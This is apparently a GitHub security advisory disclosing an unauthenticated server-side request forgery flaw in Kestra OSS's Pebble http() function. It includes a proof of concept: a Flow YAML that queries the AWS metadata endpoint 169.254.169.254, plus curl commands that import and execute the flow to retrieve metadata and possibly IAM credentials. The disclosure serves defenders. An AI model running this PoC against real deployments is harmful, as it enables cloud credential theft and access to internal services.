GHSA-r56g-q4p6-m3p6

### Summary The Pebble template engine's `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.

### Details The root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):

1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes 2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1 3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked 4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == "main" — no authentication 5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`

### PoC **Prerequisites:** ```bash docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30 ```

**Step 1: Create malicious Flow YAML** ```yaml cat > /tmp/ssrf_poc.yaml << 'YAML' id: ssrf_metadata namespace: company.team tasks: - id: exfiltrate type: io.kestra.plugin.core.log.Log message: | {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }} YAML ```

**Step 2: Import without authentication** ```bash curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrf_poc.yaml" ```

**Step 3: Execute the flow** ```bash curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata ```

**Step 4: Verify** — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)

### Impact - **CVSS 3.1**: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - **CWE**: CWE-918 (Server-Side Request Forgery) - **Affected**: All Kestra OSS versions (default deployment) - **Impact**: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft